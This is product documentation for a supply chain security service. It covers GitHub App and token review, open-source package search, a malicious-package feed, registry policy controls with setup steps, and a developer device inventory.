{% hint style="warning" %}
Refreshing consumes a GitHub App installation token, which is rate-limited by GitHub. Avoid refreshing repeatedly in a short period, as excessive refreshes can exhaust the available installation tokens for your organization.
{% endhint %}

When you click **Refresh**, a confirmation dialog appears so you can avoid triggering a scan unintentionally. Select **Refresh** to continue, or **Cancel** to dismiss the dialog without re-scanning.

<figure><img src="/files/7fgGpq4sggPvFrVCMn9V" alt=""><figcaption></figcaption></figure>

### Why Reviewing Apps & PATs Matters

GitHub Apps and Personal Access Tokens are commonly used to power CI/CD workflows, automation, and third-party integrations. Over time, organizations often accumulate:

* Apps with broad or outdated permissions
* Tokens that are long-lived or rarely reviewed
* Access owned by users or service accounts that no longer require it

These identities can introduce supply chain and CI/CD risk if they are over-privileged, unused, or poorly maintained. The Apps & PATs page helps teams continuously review and reduce this risk by making identity and access visibility easy and actionable.

### GitHub Apps

The GitHub Apps tab shows all third-party apps installed in the organization.

<figure><img src="/files/dYfmsUWHBO08Ksfnywsh" alt=""><figcaption></figcaption></figure>

For each app, StepSecurity displays:

* App name and App ID
* Granted permissions grouped by scope(red for admin, orange for write, blue for read operations)
* Installation scope:
  * All repositories
  * Selected repositories
* GitHub events the app can receive, such as workflow\_run or workflow\_job
* Installation timestamp
* Current status

### Fine-Grained PATs

The Fine-Grained PATs section displays all fine-grained personal access tokens that have access to organization resources.

<figure><img src="/files/e4hBA6CRZ6q6GvVEOHO2" alt=""><figcaption></figcaption></figure>

For each token, StepSecurity shows:

* Owner
* Token ID
* Granted permissions
* Repository access scope:
  * All repositories
  * Selected repositories
* Creation time
* Expiration time
* Last used timestamp
* Current status

This view helps teams understand which fine-grained tokens exist, who owns them, and how broadly they are scoped.

### Classic PATs

The Classic PATs section shows classic personal access tokens that are authorized for the organization via SAML/SSO.

<figure><img src="/files/CiF9dWSSUuVoqQLCO4uk" alt=""><figcaption></figcaption></figure>

For each token, StepSecurity displays:

* Owner
* Credential ID
* Token identifier (last 8 characters)
* Authorized scopes
* Authorization timestamp

Classic PATs do not support fine-grained permissions and are often long-lived. Visibility into these tokens is critical for reducing organization-wide risk.

### Permission Scope Color Coding

To make permission reviews faster and more intuitive, StepSecurity uses color coding to highlight the risk level of GitHub App permissions:

* Red indicates administrative permissions. Permissions that allow access to organization-level or high-impact administrative operations.
* Yellow indicates write permissions. Permissions that allow modification of resources such as repositories, workflows, or Actions.
* Blue indicates read-only permissions. Permissions that allow viewing metadata or resources without making changes.

This visual distinction helps teams quickly identify apps with elevated privileges without inspecting each permission individually.


# OSS Package Search

{% hint style="warning" %}
**Available for Enterprise Tier Only**
{% endhint %}

OSS Package Search lets you quickly identify where specific open-source packages appear across your organization — from pull requests and repositories to developer machines. When a package is found to be compromised or vulnerable, you can use this feature to understand your blast radius and take targeted remediation steps.

You can search at the organization level or across your entire tenant, depending on your scope of access.

### **Supported ecosystems**

OSS Package Search supports the following package ecosystems:

* **npm** — the Node.js package registry
* **PyPI** — the Python Package Index
* **Maven** — the Java package ecosystem (Maven Central)
* NuGet — the .NET package ecosystem (nuget.org)

Select the ecosystem from the **Package ecosystem** toggle at the top of the search form.

<figure><img src="/files/sic8hwKvwbuhB6L7Q0jF" alt=""><figcaption></figcaption></figure>

### Search Scope

OSS Package Search covers two surfaces:

* **CI/CD and Repositories** — identifies where a package was introduced across pull requests and default branches. Results link directly to the PR where the dependency was added, so you can revert or patch it quickly.
* **Developer Machines** — identifies where a package is installed on developer endpoints, including packages installed by AI coding agents and tools. For each match, the search returns the exact file path and package manager used, which you can use to build an MDM or EDR remediation script and verify removal after cleanup.

### Supported Files

OSS Package Search inspects the following dependency and lock files when indexing packages from CI/CD pipelines, repositories, and developer machines.

#### **npm ecosystem**

| Package manager | Files                             |
| --------------- | --------------------------------- |
| npm             | `package-lock.json`               |
| Yarn            | `yarn.lock`                       |
| pnpm            | `pnpm-lock.yaml`, `pnpm-lock.yml` |
| Bun             | `bun.lock`                        |

#### **PyPI ecosystem**

| Package manager | Files                                                                                                      |
| --------------- | ---------------------------------------------------------------------------------------------------------- |
| pip             | `requirements*.txt`, `requirements*.in`, files inside a `requirements/` directory, `setup.py`, `setup.cfg` |
| Poetry          | `poetry.lock`                                                                                              |
| uv              | `uv.lock`                                                                                                  |
| Pipenv          | `Pipfile.lock`                                                                                             |
| Conda           | `environment.yml`, `environment.yaml`                                                                      |
| PyLock          | `pylock.toml`, `pylock.<name>.toml`                                                                        |

#### **Maven ecosystem**

| Package manager                | Files                                            |
| ------------------------------ | ------------------------------------------------ |
| Maven                          | `pom.xml`, `*.pom`                               |
| Gradle (lock file)             | `gradle.lockfile`, `buildscript-gradle.lockfile` |
| Gradle (verification metadata) | `gradle/verification-metadata.xml`               |
| Bazel (Maven rules)            | `BUILD.bazel`, `MODULE.bazel`, `WORKSPACE`       |

#### **NuGet ecosystem**

| Package manager                    | Files                                               |
| ---------------------------------- | --------------------------------------------------- |
| NuGet (PackageReference)           | `*.csproj`, `*.vbproj`, `*.fsproj`                  |
| NuGet (legacy)                     | `packages.config`                                   |
| NuGet (lock file)                  | `packages.lock.json`                                |
| NuGet (Central Package Management) | `Directory.Packages.props`, `Directory.Build.props` |
| .NET build output                  | `*.deps.json`                                       |

Only `packages.lock.json` records transitive dependencies. The other files list direct dependencies as declared, so a search that relies on them alone will not surface a package that reaches your project indirectly. Enable NuGet lock files if you need transitive coverage.

### How to Use OSS Package Search

**Step 1: Navigate to StepSecurity Dashboard** → OSS Package Search

<figure><img src="/files/fcy8wh8DchRXaMASSe88" alt=""><figcaption></figcaption></figure>

**Step 2: Configure your search filters**

* **Search Scope** — choose **Organization Search** to search within your current organization, or **Tenant Search** to search across all organizations in your tenant.
* **Package ecosystem** — choose **npm,** **PyPI or Maven**.
* **Search Type** — choose **Custom Search** to specify packages manually, or **Compromised Packages Search** to focus on known compromised or vulnerable packages.
* **Repository** — optionally narrow results to a specific repository.
* **Seen In** — filter by where the package was detected. Options include *All (PRs, Default Branch & Dev Machines)*, or a specific surface.
* **Time Range** — optionally select a date range to limit results.

<figure><img src="/files/sic8hwKvwbuhB6L7Q0jF" alt=""><figcaption></figcaption></figure>

**Step 3: Add the packages you want to search for.**

Enter a package name and, if applicable, one or more specific versions. Click **Add Package** to add more packages to the same search. Results can be exported as CSV.

<figure><img src="/files/hPUhcxtg2ZrIOhPxnHP5" alt=""><figcaption></figcaption></figure>

**Step 4: Run the search and review results.**

Matching results show the default branches, PRs and developer machines where the package was found. Click any result to view details — for CI/CD results this links to the corresponding pull request; for developer machine results this shows the install path and package manager.

<figure><img src="/files/jVBLhjnBQ5PNQ6uB0kew" alt=""><figcaption></figcaption></figure>

**Step 5: Remediate**

* For CI/CD findings, revert the affected PR or patch the dependency directly.
* For developer machine findings, use the file path information to build a removal script via your MDM or EDR tooling. After running the script, rescan the device to confirm the package is no longer present.

<figure><img src="/files/z7IeUhyjcQSX08JXTfSv" alt=""><figcaption></figcaption></figure>

**Follow this interactive demo to see how this works:**

{% embed url="<https://app.storylane.io/share/ikokjxskmmum>" %}

{% hint style="info" %}
For a complete guide to preventing, detecting, and responding to package attacks, see [OSS Supply Chain Security](https://docs.stepsecurity.io/oss-supply-chain-security/)
{% endhint %}


# OSS Security Feed

The OSS Security Feed is an open intelligence resource that tracks compromised or suspicious npm package releases and maintainers in a single, searchable interface. It gives developers and security teams a real-time view of malicious packages before those packages reach their pipelines or developer machines.

### What It Shows

<figure><img src="/files/qD1TgY8dcr8rvJnyxc3q" alt=""><figcaption></figcaption></figure>

Each entry in the feed represents a package version that StepSecurity has analyzed and flagged. For every entry, you can see:

* **Package name and version** — the exact release that was assessed
* **Risk level** — either `Critical Risk` or `Safe`, derived from automated analysis
* **Detection summary** — a plain-language description of what the package does and why it was flagged
* **Behavior tags** — labels such as `install-script`, `obfuscated-code`, `typosquatting`, `credential-theft`, and `remote-code-execution` that categorize the threat type at a glance
* **Time of detection** — how recently the package was flagged

### Risk Levels

| Level             | Meaning                                                                                                                    |
| ----------------- | -------------------------------------------------------------------------------------------------------------------------- |
| **Critical Risk** | The package is definitively malicious or contains behavior strongly consistent with a supply chain attack. Do not install. |
| **Safe**          | The package was analyzed and no malicious behavior was detected at the time of assessment.                                 |

{% hint style="info" %}
Risk assessments reflect conditions at the time of analysis. A `Safe` rating for an older version does not guarantee the current version is safe.
{% endhint %}

### Reading an Analysis Report

Clicking any feed entry opens a full analysis report. Here is what each section means.

<figure><img src="/files/aByQtEfjcTVfTWLCNabU" alt=""><figcaption></figcaption></figure>

#### Header

Shows the package name, version, registry, risk score, and scan timestamp. A score of **0.0** indicates a definitively malicious package with no redeeming characteristics.

#### AI Verdict

A concise conclusion from StepSecurity's analysis engine covering the attack technique, likely intent, and recommendation. A status of **rejected** means the package failed analysis and poses immediate risk. When paired with **critical** severity, the threat is confirmed rather than suspected.

#### Package Summary

Describes what the package claims to be versus what it actually does, and identifies the primary use case. For malicious packages, this section will explicitly state there is no legitimate use case and explain the deception mechanism used.

#### Suspicious Flags

Categorical tags summarizing detected behaviors. Common flags include:

| Flag                    | What it means                                                   |
| ----------------------- | --------------------------------------------------------------- |
| `install-script`        | Code runs automatically during `npm install`                    |
| `obfuscated-code`       | Source is deliberately obscured to hide behavior                |
| `typosquatting`         | Package name mimics a popular legitimate package                |
| `hidden-functionality`  | Package performs undocumented actions                           |
| `remote-code-execution` | Code is fetched from external URLs and executed at runtime      |
| `credential-theft`      | Targets secrets, tokens, keys, or environment variables         |
| `binary-replacement`    | A legitimate system binary is replaced with a malicious wrapper |

#### Findings

For `Safe` packages, this section is replaced by a **No security findings** notice, confirming that no malicious behavior was detected for that version. The AI Verdict will show **Recommended** and the score will be high (e.g., 9.5/10).

For flagged packages, this is the most detailed section of the report. Each finding includes:

* **Severity** — `critical`, `high`, or `medium`
* **Finding type** — a short classifier such as `obfuscation` or `install-script-exec`
* **Description and impact** — what was found and what could happen if the package is installed
* **Code snippet** — the exact file and line that triggered the finding
* **CWE reference** — the relevant Common Weakness Enumeration identifier
* **Remediation** — the recommended action

A single package may have multiple findings at different severity levels.

### Acting on a Critical Risk Finding

If a package in your dependency tree appears in the feed with a `Critical Risk` rating follow the [Responding to a Compromised npm Package guide](/start-here/guides/how-to-respond-to-a-compromised-npm-package-in-your-organization) for a full incident response walkthrough.


# Secure Registry

{% hint style="warning" %}
Available for **Enterprise** Tier only
{% endhint %}

Secure Registry is an authenticated upstream registry that sits between your developers, CI runners, and the public package registries (npm, PyPI and Maven). Every metadata request and tarball download flows through Secure Registry, which evaluates it against your configured security controls before returning a response. Requests that violate a control are blocked or modified at install time, regardless of whether the install runs in CI or on a developer's laptop.

### How it compares to GitHub Checks

Secure Registry complements [Package Cooldown](/github/github-checks/configuration#package-cooldown) and [Package Compromised Updates](/github/github-checks/configuration#package-compromised-updates) in GitHub Checks. The two enforce at different points in the dependency lifecycle:

|                         | GitHub Checks                                 | Secure Registry                                                                         |
| ----------------------- | --------------------------------------------- | --------------------------------------------------------------------------------------- |
| **Enforcement point**   | Pull request                                  | Package install                                                                         |
| **What it sees**        | Manifest and lockfile changes in a PR         | Every install request from any configured client                                        |
| **Scope**               | Repositories under StepSecurity GitHub Checks | CI runners, developer machines, and artifact managers configured to use Secure Registry |
| **Result of violation** | PR check fails, blocking merge                | Request is blocked or the response is modified at install time                          |
| **Ecosystems**          | npm, PyPI, Maven                              | npm, PyPI, Maven                                                                        |

Using both gives you layered protection: PRs cannot introduce known-bad dependencies, and environments that bypass PR review (developer laptops, ad-hoc CI scripts, fresh clones with floating versions) cannot install them either.

### How it works

* **Step 1:** Configure your developers' package clients (npm or pip), CI runners, or your artifact repository manager (JFrog Artifactory, Google Artifact Registry) to use the Secure Registry URL as the upstream registry.
* **Step 2:** Every package request flows through Secure Registry, which evaluates it against the controls you have enabled for that ecosystem.
* **Step 3:** Each evaluation is recorded in the **Policy Evaluations** log and visible in your StepSecurity dashboard.

**Follow this interactive demo to see how it works:**

{% embed url="<https://app.storylane.io/share/zqnxshnyvnza>" %}

### Supported ecosystems

| Ecosystem | Status    |
| --------- | --------- |
| npm       | Available |
| PyPI      | Available |
| Maven     | Available |

#### In this section

* [**Policy**](/packages/secure-registry/policy): configure the security controls Secure Registry enforces (Cooldown Period, Compromised Packages, Typosquatting Protection), per ecosystem.
* [**Policy Evaluations**](/packages/secure-registry/policy-evaluations): review the audit log of every request that flowed through Secure Registry, including the source machine or workflow run behind each one.
* [**Setup Guide**](/packages/secure-registry/setup-guide): get your credentials and configure your package manager to proxy through Secure Registry, including optional source attribution.


# Policy

The **Policy** tab is where you configure the security controls that Secure Registry enforces. Every package request that flows through Secure Registry is evaluated against the controls you enable here before a response is returned.

Open the **Policy** tab and use the **Registry** selector to choose an ecosystem (**npm**, **PyPI**, **Maven**, or **NuGet**), then toggle each control on or off. Controls are configured independently per ecosystem, so each ecosystem's policy can differ. Not every control is available for every ecosystem; see Control availability by ecosystem below. Click **Save Changes** to apply.

<figure><img src="/files/9WUobtgdGZdTxUuEslZr" alt=""><figcaption></figcaption></figure>

#### Control availability by ecosystem

Controls are configured independently per ecosystem, and not all controls are available in every ecosystem yet. Controls marked **Coming soon** appear in the Policy tab but cannot be enabled.

| Control                      | npm       | PyPI        | Maven       | NuGet       |
| ---------------------------- | --------- | ----------- | ----------- | ----------- |
| **Cooldown Period**          | Available | Available   | Available   | Available   |
| **Compromised Packages**     | Available | Available   | Available   | Available   |
| **Custom Block List**        | Available | Available   | Coming soon | Available   |
| **Typosquatting Protection** | Available | Coming soon | Coming soon | Coming soon |
| **Registry Settings**        | Available | Not offered | Not offered | Not offered |

Maven and NuGet are in **Beta**, indicated by a badge next to each in the **Registry** selector.

### Cooldown Period

Blocks packages published within a configurable number of days, giving the community and StepSecurity's SOC time to vet new releases before they reach your environment. Set the cooldown window in the **Period (days)** field; the default is 2.

Cooldown is the first line of defense against zero-day supply chain attacks. Most malicious packages are discovered within 24 hours of publication, so a multi-day cooldown shifts the discovery window outside your installation window.

#### **Exempted Packages**

Use the **Exempted Packages** field to allow specific packages or scopes to bypass the cooldown window. Type a pattern and press **Enter** to add it. Patterns are matched as regular expressions, so you can exempt a single version, an entire package, or a whole scope.

| Pattern       | What it exempts                 |
| ------------- | ------------------------------- |
| `react@2.3.4` | A single version of one package |
| `lodash@*`    | All versions of one package     |
| `@scope/*`    | All packages under a scope      |

Exempted packages still flow through Secure Registry and are evaluated by every other enabled control (for example, Compromised Packages). Only the cooldown check is skipped.

**Need an urgent version now?** If a version inside the cooldown window must be installed immediately (for example, a critical security patch), add the exact version as an exemption (such as `react@2.3.4`), click **Save Changes**, and retry the install. Prefer an exact-version pattern over a package-wide one: it is self-limiting, since it never covers future versions, and once the version ages beyond the cooldown window it would pass anyway.

Use exemptions sparingly. Each exempted pattern is an explicit opt-out of the zero-day window, so reserve them for packages you have already vetted or that you control internally.

### Compromised Packages

Blocks installs of package versions that StepSecurity's SOC or the broader security community has flagged as compromised or malicious. When this control is on, any request for a flagged version is blocked, and the evaluation is recorded in the [Policy Evaluations](/packages/secure-registry/policy-evaluations) log.

This control catches packages whose maintainer account was hijacked, packages that were published with embedded malware, and packages reported as malicious after publication. Unlike Cooldown, which buys time for the community to discover an attack, Compromised Packages enforces against attacks that have already been confirmed.

Compromised Packages is independent of the cooldown window: a flagged version is blocked whether or not it falls inside the cooldown period, and exempting a package from cooldown does **not** exempt it from this control.

### Custom Block List

Blocks specific packages or versions from being served through your registry, regardless of publication date or compromise status. Use it to enforce internal bans: a package your security team has rejected, a version with a known incompatibility, or a dependency you are migrating away from.

Turn the control on, then add one pattern per entry. The block list matches glob patterns, so you can block a single version, a version range, an entire package, or a whole scope.

| Pattern     | What it blocks                  |
| ----------- | ------------------------------- |
| `lodash@4*` | All 4.x versions of one package |
| `lodash@*`  | All versions of one package     |
| `@scope/*`  | All packages under a scope      |

{% hint style="warning" %}
The Custom Block List and the Cooldown **Exempted Packages** field use different matching syntaxes. Custom Block List patterns are globs; Exempted Packages patterns are regular expressions. The two are not interchangeable, even though the example patterns look similar.&#x20;
{% endhint %}

The Custom Block List is evaluated independently of every other control. A package on the block list is blocked even if it is outside the cooldown window, is not flagged as compromised, and passes the typosquatting check.

### Typosquatting Protection

Blocks packages whose names closely resemble popular packages, protecting against typosquatting attacks. When this control is on, a request for a package whose name is a likely typo of a well-known package is blocked, and the evaluation is recorded in the [Policy Evaluations](/packages/secure-registry/policy-evaluations) log.

#### Whitelisted Packages

Use the **Whitelisted Packages** field to allow specific packages through the typosquatting check. Type a package name and press **Enter** to add it.

Unlike the Cooldown Exempted Packages field, which matches regular expressions, the whitelist requires **exact package names**. Specify the full name of each package you want to allow (for example, `@scope/package-1` or `lodash`); patterns such as `lodash@*` or `@scope/*` are not supported here.

Whitelist a package when its name legitimately resembles a popular package and the Typosquatting control is flagging it as a false positive. Whitelisting affects only the typosquatting check; the package is still evaluated by every other enabled control.

### Registry Settings

Each ecosystem has a **Registry Settings** panel for behavior that is not a blocking control. Settings are configured per ecosystem, alongside that ecosystem's policy.

<figure><img src="/files/X6zqqpjSrQIHP8yu0S3S" alt=""><figcaption></figcaption></figure>

**Tarball URL Rewriting (npm)**

Rewrites the tarball URLs in npm metadata responses so that package downloads are routed through Secure Registry instead of the public npm registry.

### Saving changes

Changes to the Policy tab take effect only after you click **Save Changes**. The page records who last saved the policy and when, so you have a basic audit trail of policy changes per ecosystem.


# Policy Evaluations

The **Policy Evaluations** tab is an audit log of every package request (npm, PyPI or Maven) that flowed through Secure Registry, with the evaluation result for each enabled control. Use it to confirm that requests are flowing through Secure Registry, to investigate why a specific install was blocked or modified, and to trace a request back to the developer machine or CI run that made it.

<figure><img src="https://754495266-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQJRZY4cfEeY3I7DXTOCp%2Fuploads%2F3Ra5pcB3QZAECjzyZ7GE%2FScreenshot%202026-06-25%20at%2002.48.57.png?alt=media&#x26;token=8bc7b2e0-5977-4cb3-bdb3-e6519f0dcf47" alt=""><figcaption></figcaption></figure>

### Filters

Filters at the top of the page let you narrow the log:

* **Status**: filter by evaluation result (Allowed, Modified, Blocked).
* **Ecosystem**: filter by npm, PyPI or Maven.
* **Type**: request type (Metadata, Tarball Download).
* **Source**: filter by where the request originated (Developer Machine or GitHub Actions).
* **Package**: exact package name (e.g., `lodash`).
* **Versions**: comma-separated versions (e.g., `4.17.21,4.17.20`).
* **Identifier**: filter by a specific source identifier.
* **Date range**: narrow to a specific time window.

### Statuses

| Status                    | Meaning                                                                                                                                                                                                          |
| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Allowed**               | The request matched no blocking controls and was served as-is.                                                                                                                                                   |
| **Modified**              | One or more controls filtered the response. Most commonly, Cooldown removed one or more recent versions before returning metadata, so the client sees only versions older than the cooldown window.              |
| **Blocked**               | A control blocked the request. The package version was not served. This is the result when Compromised Packages, Typosquatting Protection, or a Tarball Download inside the cooldown window matches the request. |
| **Skipped** (per-control) | The control was not evaluated for this request, either because it is disabled in the Policy tab or because it is not yet available.                                                                              |

### Modified vs Blocked example

The difference comes down to which request the control acts on.

When a client installs a package (for example, `npm install axios`), it first requests the package's **metadata**, which lists every published version. Secure Registry filters that response before returning it, removing any versions that are inside the cooldown window or flagged as compromised. Because the response was changed rather than refused, the evaluation is logged as **Modified**. From the client's perspective the filtered versions simply don't exist, so it resolves to the latest safe version and the install proceeds normally.

If a client directly requests a disallowed version (for example, `npm install axios@<version>` where that version is in cooldown or compromised), or downloads its tarball, there is nothing to filter because the request itself targets a disallowed version. Secure Registry refuses to serve it and the evaluation is logged as **Blocked**.

### Request types

* **Metadata**: a request for package metadata (for example, `npm view`, or dependency resolution during install).
* **Tarball Download**: a request for the actual package tarball during install.

### Source attribution

The **Source** and **Source Identifier** columns show where each request originated, so you can trace any evaluation back to the developer machine or CI run that made it. This requires the source identifier to be configured in your client setup; see Setting up source attribution on the Setup Guide. Requests from clients that do not send an identifier still appear in the log but are not attributed to a specific device or workflow run.

<figure><img src="https://754495266-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQJRZY4cfEeY3I7DXTOCp%2Fuploads%2FEIvsmG3ikyiTGyDSzomb%2FScreenshot%202026-06-25%20at%2002.50.32.png?alt=media&#x26;token=a781fedc-5f2b-4049-9cac-82b8d9407d20" alt=""><figcaption></figcaption></figure>

| Source                | Source Identifier links to                                                                                                                                                                 |
| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Developer Machine** | The device page for that machine, filtered to its Device ID. From there you can inspect the device's installed IDE extensions, AI agents, MCP servers, OSS packages, and suspicious files. |
| **GitHub Actions**    | The Harden-Runner workflow run that made the request, where you can review its outbound network destinations, file write events, and detections.                                           |

Clicking a **Source Identifier** value opens the linked page, which lets you pivot directly from a blocked or modified install to the full context of the machine or workflow run behind it. For example, if a developer machine triggered a blocked install of a compromised package, you can open its device page to see what else is running on that machine.

<figure><img src="https://754495266-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQJRZY4cfEeY3I7DXTOCp%2Fuploads%2Fd3BG66ymhBuROnLSi1Zu%2FScreenshot%202026-06-25%20at%2002.52.45.png?alt=media&#x26;token=c5cc3403-bb8a-430e-8992-81f7d401b50f" alt=""><figcaption></figcaption></figure>

**Follow this interactive demo to see how it works in practice:**

{% embed url="<https://app.storylane.io/share/1sgbiuzaav0f>" %}

### Per-control breakdown

Click any row to expand the per-control breakdown. For a **Modified** request, the breakdown shows which control modified the response and the reason (for example, "2 version(s) filtered by cooldown period"). For a **Blocked** request, the breakdown shows which control blocked it and why.

<figure><img src="https://754495266-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQJRZY4cfEeY3I7DXTOCp%2Fuploads%2F7t7mDQWDOx3DGrK9oD3R%2FScreenshot%202026-06-25%20at%2002.54.51.png?alt=media&#x26;token=995f1189-8e37-42c6-aac5-1c3ed05ac563" alt=""><figcaption></figcaption></figure>


# Setup Guide

The **Setup Guide** tab provides your credentials and step-by-step instructions to configure your package manager to proxy through Secure Registry. Once configured, the security controls set in the [Policy](/packages/secure-registry/policy) tab are applied to every request.

Use the **Registry** selector to choose an ecosystem (**npm**, **PyPI**, **Maven**, or **NuGet**). The credentials, the available integration paths, and the setup steps all change with the selected ecosystem.

{% hint style="info" %}
Maven and NuGet are in **Beta**, indicated by a badge next to each in the **Registry** selector.
{% endhint %}

<figure><img src="/files/VJpL17crdMR1TexhIyiS" alt=""><figcaption></figcaption></figure>

### Your credentials

The Setup Guide displays the credentials your clients need to authenticate to Secure Registry:

* **Registry URL**: the Secure Registry endpoint to use as your upstream, which differs per ecosystem.
* **Username**: your tenant username.
* **API Key**: select **Primary** or **Secondary** from the dropdown and reveal or copy the key.

| Ecosystem | Registry URL                                  |
| --------- | --------------------------------------------- |
| npm       | `https://registry.stepsecurity.io/javascript` |
| PyPI      | `https://registry.stepsecurity.io/python`     |
| Maven     | `https://registry.stepsecurity.io/java`       |
| NuGet     | `https://registry.stepsecurity.io/dotnet`     |

{% hint style="info" %}
Primary and Secondary API keys are supported so you can rotate without downtime: issue the Secondary, switch clients over, then rotate the Primary.
{% endhint %}

### Integration paths

Pick the path that matches how packages reach your environment, then follow the in-app instructions. Not every path is offered for every ecosystem.

| Integration path              | npm | PyPI        | Maven       | NuGet       |
| ----------------------------- | --- | ----------- | ----------- | ----------- |
| **JFrog Artifactory**         | Yes | Yes         | Yes         | Yes         |
| **Google Artifact Registry**  | Yes | Yes         | Yes         | Not offered |
| **Sonatype Nexus Repository** | Yes | Not offered | Yes         | Yes         |
| **AWS CodeArtifact**          | Yes | Not offered | Not offered | Not offered |
| **Direct**                    | Yes | Yes         | Yes         | Yes         |

* **Artifact repository managers** (JFrog Artifactory, Google Artifact Registry, Sonatype Nexus Repository, AWS CodeArtifact): for teams that already proxy packages through a manager. Create a remote repository, set its upstream URL to your Secure Registry endpoint, and add your credentials as the repository authentication. Your existing configuration stays unchanged; only the remote repository's upstream points to Secure Registry.
* **Direct**: for teams without an artifact manager, configuring the package client to point at Secure Registry itself.

On the **Direct** path, a **Package manager** selector switches the instructions to match your client:

| Ecosystem | Package manager options            |
| --------- | ---------------------------------- |
| npm       | npm (`.npmrc`)                     |
| PyPI      | pip                                |
| Maven     | Maven, Gradle                      |
| NuGet     | .NET CLI, NuGet CLI, Visual Studio |

{% hint style="info" %}
**JFrog Artifactory authentication differs by ecosystem.** For PyPI and Maven, enable **Token Authentication** so the Authorization header is sent as Bearer rather than Basic. For NuGet, enable **Force Authentication** instead. Follow the in-app instructions for the ecosystem you are configuring rather than reusing a previous setup.
{% endhint %}

The diagram below shows the request flow for the JFrog Artifactory path. Your existing Artifactory configuration stays unchanged; only the remote repository's upstream points to Secure Registry, where policy validation runs before requests reach the public npm registry. Each request is recorded in the Policy Evaluations log, attributed to the developer machine or CI job that made it.

<figure><img src="/files/Oy5SRTeW1SyXypvaz0hh" alt=""><figcaption></figcaption></figure>

After configuring, use the test sequence in the Setup Guide to confirm requests are flowing through Secure Registry.

### Setting up source attribution

Source attribution lets you trace each request in the [Policy Evaluations](/packages/secure-registry/policy-evaluations) log back to the developer machine or CI pipeline that made it. It is configured by appending an identifier suffix to your API key in the auth token. Attribution is optional: clients without a suffix still work, but their requests appear in the log without a source.

The token format is the API key, followed by `::`, followed by the identifier:

```
<your-api-key>::<IDENTIFIER>
```

#### Developer machines

To attribute requests to a developer machine, append the device serial ID using the `dev:` prefix:

```
npm config set //registry.stepsecurity.io/javascript/:_authToken "<your-api-key>::dev:<DEVICE-SERIAL-ID>"
```

In the Policy Evaluations log, these requests show a **Developer Machine** source, and the Source Identifier links to that device's page.

#### CI/CD pipelines (GitHub Actions)

To attribute requests to a specific pipeline run, store the API key as a secret and append a `gha:` identifier built from the workflow context. Store the key as a secret (for example, `STEPSECURITY_NPM_TOKEN`) rather than committing it:

```yaml
- name: Configure npm registry
  env:
    IDENTIFIER: "gha:${{ github.repository }}/${{ github.run_id }}/${{ job.check_run_id }}"
    NPM_TOKEN: ${{ secrets.STEPSECURITY_NPM_TOKEN }}
  run: |
    npm config set registry https://registry.stepsecurity.io/javascript
    npm config set //registry.stepsecurity.io/javascript/:_authToken "${NPM_TOKEN}::${IDENTIFIER}"

- name: Install dependencies
  run: npm ci
```

In the Policy Evaluations log, these requests show a **GitHub Actions** source, and the Source Identifier links to the corresponding Harden-Runner workflow run.

{% hint style="warning" %}
Never commit the raw API key. Use an environment variable or CI secret, as shown above.
{% endhint %}


# Devices

The **Devices** page provides an inventory of all developer machines where the Dev Machine Guard script has been deployed and executed.

Each device represents a unique developer machine and serves as the entry point for understanding local development environment activity.

### Device List

<figure><img src="/files/7AVp22Mn8H8ZwhEsrHLE" alt=""><figcaption></figcaption></figure>

At the top of the page, summary chips show:

* **Active**: total number of devices currently reporting
* Per-OS counts for **macOS**, **Windows**, and **Linux**

You can filter the list using:

* **Search devices**: free-text search by device name
* **All users**: filter by associated user
* **All agent versions**: filter by the version of the Dev Machine Guard agent installed on the device

The device table shows the following columns:

| Column        | Description                                                                                                                                                                           |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Device**    | Device hostname, associated user, and OS version. Below the name, inline counts summarize detected assets: IDE extensions, npm packages, AI agents, MCP servers, and system packages. |
| **Status**    | Current device status (for example, `Active`).                                                                                                                                        |
| **Last Scan** | The result of the most recent script execution (`Succeeded` or `Failed`) and how long ago it ran.                                                                                     |
| **Assets**    | Total number of assets detected on the device across all categories.                                                                                                                  |
| **Last Seen** | When the device last reported telemetry to StepSecurity.                                                                                                                              |

This view helps you quickly understand which machines are actively reporting data, what they have installed, and how recently they were scanned.

### Device Details

Selecting a device opens a detailed view with system and agent information for that machine.

<figure><img src="/files/QnwIgNiCCwzoJMR6kYs7" alt=""><figcaption></figcaption></figure>

The **Device Information** block shows:

* **Device ID**: unique identifier assigned by Dev Machine Guard
* **User**: the user associated with the device
* **Platform**: the OS platform (for example, `darwin`, `linux`, `windows`)
* **OS Version**: the specific OS version reported by the device
* **Agent Version**: the version of the Dev Machine Guard script installed on the device
* **Status**: current device status
* **Last Scan**: timestamp of the most recent successful scan
* **Scan Frequency**: how often the script is configured to run (for example, `Every 4 hours`). Scan frequency is set globally for your organization and applies uniformly to all devices.
* **npm Packages**: total and unique npm package counts detected on the device
* **First Seen** / **Last Seen**: when the device first reported and most recently reported telemetry

Below the information block, the side panel includes collapsible sections for the assets detected on the device.

#### **IDE Extensions**

The IDE Extensions section provides a consolidated view of all extensions detected across the [supported IDEs](broken://pages/GtCKhaNSPZKc2Y1ZVtKW#supported-ides) on the device.

The section header shows the total number of extensions installed. Expanding the section displays the per-extension breakdown, including the IDE each extension belongs to.

This view helps you:

* Identify the overall extension footprint on the device
* Detect duplicate or overlapping extensions
* Spot potentially risky or unexpected extensions
* Understand extension usage across different IDEs

By consolidating extension data across IDEs, this section provides a unified view of the developer tooling surface area on the machine.

#### **AI Agents**

The AI Agents section displays all AI-powered development tools detected on the device.

The section header shows the total number of agents installed. Expanding the section reveals per-agent details:

* Agent name
* Vendor or provider (for example, Anthropic, OpenAI, Google)
* Agent type (`CLI Tool`, `Agent`, or `Framework`)
* Installed version
* Executable or command name where applicable

This provides visibility into AI tools installed via CLI, IDE integrations, or standalone agents, and helps you:

* Identify which AI tools are installed on developer machines
* Track versions for governance and upgrade management
* Detect unapproved or unexpected AI tools
* Understand whether agents are CLI-based, general-purpose, or framework runtimes

#### **MCP Servers**

The MCP Servers section shows all Model Context Protocol (MCP) servers configured on the device.

The section header shows the total number of MCP servers configured. Expanding the section displays per-server details:

* Server name
